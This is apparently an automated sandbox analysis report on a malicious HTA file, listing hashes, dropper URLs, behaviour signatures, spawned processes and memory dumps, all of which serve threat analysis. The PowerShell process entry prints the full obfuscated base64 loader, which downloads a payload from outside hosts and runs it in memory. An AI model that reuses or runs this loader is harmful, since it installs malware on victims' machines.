Analysis

  • max time kernel
    110s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 12:18

General

  • Target
    ibredgoodforbestthingscomingbackform.hta
  • Size 27KB
  • Sample260629-pgnhtac12x
  • SHA256 e6faa8d9189b089d38c728bec9e02b709346650796503807b928e5b0c0a680f9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://as.al/file/KBn1RC

  • exe.dropper

    https://as.al/file/KBn1RC

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ibredgoodforbestthingscomingbackform.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:1532
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -Command " & ([scriptblock]::Create( [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String( 'JHVwY3VybD0naHR0cEA6Ly9hQC5hbC9maWxlL0tCbjFSQycuUmVwbGFjZSgnQCcsJ3MnKTsNCiRwaG9ub3RlbGVtZXRlcj1OZXctT2JqZWN0IE5ldC5XZWJDbGllbnQ7DQokcGhvbm90ZWxlbWV0ZXIuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOw0KJGNhcmJvbmlkZT0kcGhvbm90ZWxlbWV0ZXIuRG93bmxvYWREYXRhKCR1cGN1cmwpOw0KJGNyeXB0b3BoYWd1cz1bVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjYXJib25pZGUpOw0KJHNlbG9uZXM9J0lOLSc7DQokaHVtb25nb3VzPSctaW4xJzsNCiRXaXNjb25zaW5pdGVzPSRjcnlwdG9waGFndXMuSW5kZXhPZigkc2Vsb25lcyk7DQokbm9ucGFydHk9JGNyeXB0b3BoYWd1cy5MYXN0SW5kZXhPZigkaHVtb25nb3VzKTsNCmlmKCRXaXNjb25zaW5pdGVzIC1lcSAtMSAtb3IgJG5vbnBhcnR5IC1lcSAtMSl7DQpyZXR1cm59DQo7DQokY3J1cHBlcnM9JFdpc2NvbnNpbml0ZXMrJHNlbG9uZXMuTGVuZ3RoOw0KJHJhZGlvdGludD0kY3J5cHRvcGhhZ3VzLlN1YnN0cmluZygkY3J5cHRvcGhhZ3VzLkluZGV4T2YoJHNlbG9uZXMpKyRzZWxvbmVzLkxlbmd0aCwgJG5vbnBhcnR5LSgkY3J5cHRvcGhhZ3VzLkluZGV4T2YoJHNlbG9uZXMpKyRzZWxvbmVzLkxlbmd0aCkpOw0KJHJlcHJpbWFuZGVyPSRyYWRpb3RpbnQuUmVwbGFjZSgnIycsJ0EnKS5Ub0NoYXJBcnJheSgpOw0KW0FycmF5XTo6UmV2ZXJzZSgkcmVwcmltYW5kZXIpOw0KJGdhbGltPSRyZXByaW1hbmRlciAtam9pbiAnJzsNCltieXRlW11dJHNhbmRjYXN0bGU9W0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRnYWxpbSk7DQokbWlzcmVhZGluZz1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKCRzYW5kY2FzdGxlKTsNCiRob21vaGVwdGFtZXJzPUAoJ2h0dHA6Ly8xMDcuMTcyLjEzNS42MC85Ni9pbWdfMTYxODQ3LnBuZycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTjJYbEQ5REZ0bycsJ0Nhc3BvbCcsJycsJ0Nhc3BvbCcsJycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTjJYbEQ5REZ0bycsJ2h0YScsJzEnLCcnLCdFaVByRXp5c0E2JywnMCcsJycsJycsJycpOw0KdHJ5ew0KJGppaGFkcz0kbWlzcmVhZGluZy5HZXRUeXBlKCdGaWJlci5Qcm9ncmFtJyk7DQokdW5ib3VuZD0kamloYWRzLkdldE1ldGhvZCgnTWFpbicpOw0KJHVuYm91bmQuSW52b2tlKCRudWxsLFtvYmplY3RbXV0kaG9tb2hlcHRhbWVycyl9DQpjYXRjaHsNCn0NCg==' ) ) )) "
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2172
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:5784
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3396
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2468
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5676

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_oa0ezwga.hfw.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oa0ezwga.hfw.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2172-17-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-13-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-9-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-10-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-11-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-12-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-18-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-14-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-15-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-16-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-7-0x000002A6455E0000-0x000002A645602000-memory.dmp

        memory/2172-0-0x00007FFE58FAF000-0x00007FFE58FB0000-memory.dmp

        memory/2172-1-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-20-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-22-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2172-19-0x00007FFE58E20000-0x00007FFE597C4000-memory.dmp

        memory/2468-27-0x0000025F801E0000-0x0000025F802E0000-memory.dmp

        memory/2468-54-0x0000025F93E60000-0x0000025F93F60000-memory.dmp

        memory/2468-83-0x0000025F942C0000-0x0000025F942E0000-memory.dmp

        memory/2468-69-0x0000025F83A00000-0x0000025F83A20000-memory.dmp

        memory/2468-53-0x0000025F83A20000-0x0000025F83A40000-memory.dmp

        memory/2468-25-0x0000025F801E0000-0x0000025F802E0000-memory.dmp

        memory/5676-207-0x0000014B180C0000-0x0000014B18751000-memory.dmp

        memory/5676-208-0x0000014B180C0000-0x0000014B18751000-memory.dmp